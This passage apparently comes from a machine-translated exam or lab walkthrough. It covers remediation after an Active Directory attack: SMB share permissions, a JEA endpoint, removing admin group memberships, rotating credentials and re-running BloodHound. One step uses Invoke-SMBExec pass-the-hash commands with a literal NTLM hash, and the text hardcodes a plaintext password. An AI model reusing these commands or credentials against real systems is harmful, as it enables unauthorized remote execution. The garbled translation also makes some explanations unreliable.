New-SmbShare -Name 'data' -Path 'C:\data' -ReadAccess 'gcbinfra\fileserveradmin'

# Verificar como fileserveradmin:
net view \\gcbtech-sql.gcbtech.local
dir \\gcbtech-sql.gcbtech.local\data
Yeah. dir returns "Access denied" although the share conceives Read, the culprit is the NTFS layer: check the folder Security tab and also add reading for the user. Remember: send the most restrictive.
Facilitation of good practices
• Grants the minimum: for data consumption, "Read" in the share usually suffices; the NTFS commands for the fine.
• Use AD groups instead of loose users (but you change the group, not 20 shares).
• Avoid "Everyone" with Change/Full in shares; and never share disc roots (C$ already exists for administrative reasons).
D5 · configure
JEA — restrict sqladmin to only Get-Processes at GCBTECH-SQL
Create a JEA (Just Enough Administration) session setting that allows sqladmin to run only Get-Process in GCBTECH-SQL.
the context
During the attack, sqladmin was full administrator GCBTECH-SQL: you could turn LSASS, create services, whatever it was. JEA invests logic: instead of giving admin and trust, you create a Limited window — a PowerShell endpoint where the user only sees the cmdlets of a white list. It is the difference between giving the keys to the bank and sitting it in front of the counter: you can ask what the counter allows, and nothing else.
1
In GCBTECH-EXAM, create the session configuration file demo.pssc:
New-PSSessionConfigurationFile -Path demo.pssc
A .pssc is a text file (with PowerShell's hashtable syntax, all commented) that describes the endpoint: who enters, what sees, with which identity runs. This command generates the list template to edit (it opens with the notepad or notepad). notepad demo.pssc).
2
Edit demo.pssc - change these fields:
Author           = 'sqladmin'
SessionType      = 'RestrictedRemoteServer'
RoleDefinitions  = @{ 'gcbtech\sqladmin' = @{ VisibleCmdlets = 'Get-Process' } }
SessionType RestrictedRemoteServer = endpoint starts without full language: only 8 cmdlets series (Get-Command, Get-Help, etc.) and what you declare visible. No access to .NET complete, without the ability to escape. RoleDefinitions map "the user gcbtech\sqladmin → its menu is: Get-Process". Author It is only metadata. The three together create the window: who enters as sqladmin will see exactly a useful cmdlet.
3
Copy. demo.pssc a GCBTECH-SQL and register the endpoint JEA. Restart WinRM via SMBexec so that the config is loaded:
# Copiar demo.pssc (aquí vía HTTP con un servidor de archivos; vale cualquier método):
iwr http://172.16.100.1/demo.pssc -OutFile C:\Users\Public\demo.pssc

# En la PSSession de GCBTECH-SQL — registrar el endpoint:
Register-PSSessionConfiguration -Name process -Path 'C:\Users\Public\demo.pssc'

# Desde GCBTECH-EXAM vía SMBexec — reiniciar WinRM (así lo hace la guía):
. .\Invoke-SMBExec.ps1
Invoke-SMBExec -Target gcbtech-sql -Username sqladmin -Domain gcbtech.local -Hash 41eb70e78aef6778c507773770fcf780 -Command 'Restart-service WINRM'
Invoke-SMBExec -Target gcbtech-sql -Username sqladmin -Domain gcbtech.local -Hash 41eb70e78aef6778c507773770fcf780 -Command 'powershell disable-psremoting'
Invoke-SMBExec -Target gcbtech-sql -Username sqladmin -Domain gcbtech.local -Hash 41eb70e78aef6778c507773770fcf780 -Command 'powershell enable-psremoting'
Register-PSSessionConfiguration creates the endpoint called process from the .pssc (this already reboots the WinRM service itself—the disable/enable cycle of the original guide is a reinforcement; if after Register the session behaves strangely, that cycle fixes it). Conceptual detail: the JEA endpoint remains "on the side" of the normal endpoint (Microsoft.PowerShell)—does not replace it.
4
Verify that JEA works — sqladmin can only run Get-Process:
Enter-PSSession gcbtech-sql -ConfigurationName process
Get-Process          # ✓ funciona y lista procesos
Get-Service          # ✗ error: no está en la lista blanca
Get-Command          # muestra solo lo permitido (la "carta del menú")
The Fire Test: Connect with -ConfigurationName process (if not specified, you enter the normal endpoint and not the JEA). Get-Command teaches you the "carta": only the allowed cmdlets exist for that session. Trying anything else returns "unrecognized" error.
⚠
JEA only really protects if you also remove normal admin access (it is done in D6, removing sqladmin from administrators). If sqladmin is still admin, it could connect to the default endpoint and skip the window. JEA + without privileges = a real restriction.
D6 · clean
Revoke privileged access added during the attack
Remove from the groups of local administrators all the users who came in there during the attack, and close the RDP that opened to defend.
the problem
The attack left permanent "open doors": examuser placed in local administration in EXAM and ADMIN, and admin memberships that should not exist. A serious defense test does not end until net localgroup administrators He has only what he needs in every machine again.
1
Remove a examuser from local GCBTECH-EXAM administrators:
net localgroup administrators /del examuser
Revoke exactly what the RBCD got (step 6 of the attack). This is the one that turns examuser back into a normal user in your own machine.
2
Remove examuser and techadmin from local GCBTECH-ADMIN administrators:
Enter-PSSession gcbtech-admin
net localgroup administrators /del examuser
net localgroup administrators /del techadmin
Here there is no "inherited" active session: to delete you have to enter as someone with rights (e.g. the local Administrator whose LAPS password you have already broken in D1, or the domain admin). net localgroup administrators who's before he clears.
3
Remove fileserveradmin from local GCBINFRA-FILE administrators:
Enter-PSSession gcbinfra-file.gcbinfra.local
net localgroup administrators /del gcbinfra\fileserveradmin
It is the same membership that allowed you to read your history and skip to the GCBINFRA-DC. The account can still exist for the share of D4 — but no local admin.
4
Remove sqladmin from administrators in GCBTECH-SQL and deactivate the RDP in the machines where it opened during the defense:
# Quitar a sqladmin del grupo admin de GCBTECH-SQL:
net localgroup administrators /del sqladmin

# Desactivar RDP (en cada máquina donde lo abriste en D1–D3):
netsh advfirewall firewall set rule group="remote desktop" new enable=No
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 1
Removing sqladmin from admins is what makes sense to the D5 JEA: from now on, the ONLY way to work in SQL as sqladmin is the Get-Process window. And the RDP closes to leave no more surface than before the test.
✓
Full attack and defense. All remediated vectors and the required settings applied.
D7 · bonus
Post-attack enduring (what the original guide omitted)
Final checklist of "hygiene" after the attack: broken credentials, erased tools, reactivated Defender and global verification with BloodHound.
why it matters
Removing permits closes the doors, but during the attack they stayed living artifacts and secrets: stolen passwords and hashes that remain valid, attack binaries in C:\Users\Public, Defender off at GCBTECH-ADMIN and forged Kerberos tickets that do not expire until after a few hours. Without this task, the remedy is leaked.
・ Checklist
1
Credentials engaged during the attack (all have to rotate—in D1–D3 some have been broken; check the complete list):
# Administrator local de GCBTECH-ADMIN  → rotado por LAPS en D1
# GCBTECH-ADMIN$ (cuenta de equipo)     → Reset-ComputerMachinePassword en D2
# TECHADMIN                             → Set-ADAccountPassword en D2
# sqladmin                              → ¡falta! (en el DC):
Set-ADAccountPassword -Identity sqladmin -Reset -NewPassword (ConvertTo-SecureString 'Nu3v4!Sql-2024' -AsPlainText -Force)
# fileserveradmin                       → restaurada en D3
# gcbinfra\Administrator                → restaurada en D3
2
Reactivate Defender GCBTECH-ADMIN (offended in the attack) and delete the tools left:
# En GCBTECH-ADMIN:
Set-MpPreference -DisableRealTimeMonitoring $false

# En GCBTECH-ADMIN y GCBTECH-SQL (C:\Users\Public):
del C:\Users\Public\mimikatz.exe, C:\Users\Public\Rubeus.exe, C:\Users\Public\psexec-int.exe
If you leave Defender off, the next mimikatz comes in for free. And the attack binaries on Public are a gift for anyone who comes in afterwards.
3
Global verification — the proof reigns that the chain broke: rerun SharpHound and look at the paths:
# Como examuser, recolectar de nuevo:
Invoke-BloodHound -CollectionMethod all

# En BloodHound GUI: examinar la ruta de examuser hacia Domain Admin.
# Debe estar ROTA (sin aristas LAPS / RBCD / GenericAll transitables).
It is the same BloodHound of the attack, but used as a defender: if the graph no longer shows way of examuser to Domain Admin, you corrected well. This "post-remediation scan" is exactly what a real auditor will do after your report.
note Extra (if you want to look at the report)
• Add management accounts to the group Protected Users.
• Activate the LDAP audit/reading of sensitive attributes and turn it to a SIEM.
• Document the management model in tiers (Tier 0 = DCs, Tier 1 = servers, Tier 2 = stations) — this test is a perfect demonstration of what happens when layers are mixed (fileserveradmin, file management, being DC admin).
• klist purge in the sessions you used to clean the tickets injected by Rubeus from your own sessions.